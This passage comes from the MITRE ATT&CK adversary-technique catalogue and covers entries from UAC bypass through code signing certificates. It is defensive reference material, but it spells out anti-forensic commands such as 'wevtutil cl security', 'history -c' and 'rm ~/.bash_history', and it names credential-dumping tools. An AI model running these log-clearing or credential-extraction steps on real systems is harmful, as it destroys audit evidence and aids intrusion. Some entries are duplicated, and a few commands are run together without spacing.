If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
T1003.005Cached Domain CredentialsAdversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.(Citation: ired mscache)

With SYSTEM access, the tools/utilities such as MimikatzReg, and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)
T1596.004CDNsAdversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.

Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).
T1042Change Default File AssociationWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT[handler]\shell[action]\command. For example:

- HKEY_CLASSES_ROOT\txtfile\shell\open\command
- HKEY_CLASSES_ROOT\txtfile\shell\print\command
- HKEY_CLASSES_ROOT\txtfile\shell\printto\command

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)
T1546.001Change Default File AssociationAdversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example:

- HKEY_CLASSES_ROOT\txtfile\shell\open\command
- HKEY_CLASSES_ROOT\txtfile\shell\print\command
- HKEY_CLASSES_ROOT\txtfile\shell\printto\command

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)
T1552.008Chat MessagesAdversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.

Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).
T1070.003Clear Command HistoryIn addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they’ve done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user’s home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions.

Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.

Adversaries may also leverage a Network Device CLI on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
T1146Clear Command HistoryIn addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they’ve done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user’s home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILEexport HISTFILESIZE=0history -crm ~/.bash_history.
T1070.002Clear Linux or Mac System LogsAdversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)

- /var/log/messages:: General and system-related messages
- /var/log/secure or /var/log/auth.log: Authentication logs
- /var/log/utmp or /var/log/wtmp: Login records
- /var/log/kern.log: Kernel logs
- /var/log/cron.log: Crond logs
- /var/log/maillog: Mail server logs
- /var/log/httpd/: Web server access and error logs
T1070.008Clear Mailbox DataAdversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.

Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal SpearphishingEmail CollectionMail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)

Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)
T1070.007Clear Network Connection History and ConfigurationsAdversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.

Network connection history may be stored in various locations on a system. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):

- HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
- HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers

Windows may also store information about recent RDP connections in files such as C:\Users\%username%\Documents\Default.rdp and C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in /Library/Logs and/or /var/log/).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

Malicious network connections may also require changes to network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.
T1070.009Clear PersistenceAdversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify RegistryPlist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account).(Citation: Talos - Cisco Attack 2022)

In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)
T1070.001Clear Windows Event LogsAdversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer’s alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

- wevtutil cl system
- wevtutil cl application
- wevtutil cl security

These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)
T1592.004Client ConfigurationsAdversaries may gather information about the victim’s client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).
T1115Clipboard DataAdversaries may collect data stored in the clipboard from users copying information within or between applications.

For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).(Citation: mining_ruby_reversinglabs)

macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)
T1087.004Cloud AccountAdversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.

With authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)
T1136.003Cloud AccountAdversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)

Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding Additional Cloud Credentials or assigning Additional Cloud Roles.
T1586.003Cloud AccountsAdversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

A variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)
T1585.003Cloud AccountsAdversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

Creating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.
T1078.004Cloud AccountsAdversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management systems, such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a Trusted Relationship. Similar to Domain Accounts, compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

Once a cloud account is compromised, an adversary may perform Account Manipulation - for example, by adding Additional Cloud Roles - to maintain persistence and potentially escalate their privileges.
T1651Cloud Administration CommandAdversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020)

If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines or on-premises hybrid-joined devices. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a Trusted Relationship to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)
T1059.009Cloud APIAdversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, PowerShell modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as Python.

Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.

With proper permissions (often via use of credentials such as Application Access Token and Web Session Cookie), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.
T1069.003Cloud GroupsAdversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).

Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET [https://cloudidentity.googleapis.com/v1/groups](https://cloudidentity.googleapis.com/v1/groups) lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands ListRolePolicies and ListAttachedRolePolicies allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.
T1580Cloud Infrastructure DiscoveryAn adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP’s Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure’s CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through Wordlist Scanning.(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)

An adversary may enumerate resources using a compromised user’s access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in Cloud Service Discovery, this technique focuses on the discovery of components of the provided services rather than the services themselves.
T1552.005Cloud Instance Metadata APIAdversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at http[:][//169.254.169.254](https://169.254.169.254/).
T1522Cloud Instance Metadata APIAdversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at http[:][//169.254.169.254](https://169.254.169.254/).
T1538Cloud Service DashboardAn adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
T1526Cloud Service DiscoveryAn adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)

For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)

Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through Disable or Modify Tools or Disable Cloud Logs.
T1021.007Cloud ServicesAdversaries may log into accessible cloud services within a compromised environment using Valid Accounts that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.

Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., Cloud API), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.

In some cases, adversaries may be able to authenticate to these services via Application Access Token instead of a username and password.
T1619Cloud Storage Object DiscoveryAdversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to File and Directory Discovery on a local host, after identifying available storage services (i.e. Cloud Infrastructure Discovery) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
T1218.003CMSTPAdversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
T1191CMSTPThe Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
T1593.003Code RepositoriesAdversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing).

Note: This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.
T1213.003Code RepositoriesAdversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software’s source code. Having access to software’s source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts.(Citation: Wired Uber Breach)(Citation: Krebs Adobe)

Note: This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.
IDNameDescription
T1116Code SigningCode signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
T1553.002Code SigningAdversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike Invalid Code Signature, this activity will result in a valid signature.

Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
T1587.002Code Signing CertificatesAdversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is.

Prior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.
T1588.003Code Signing CertificatesAdversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is.

Prior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.
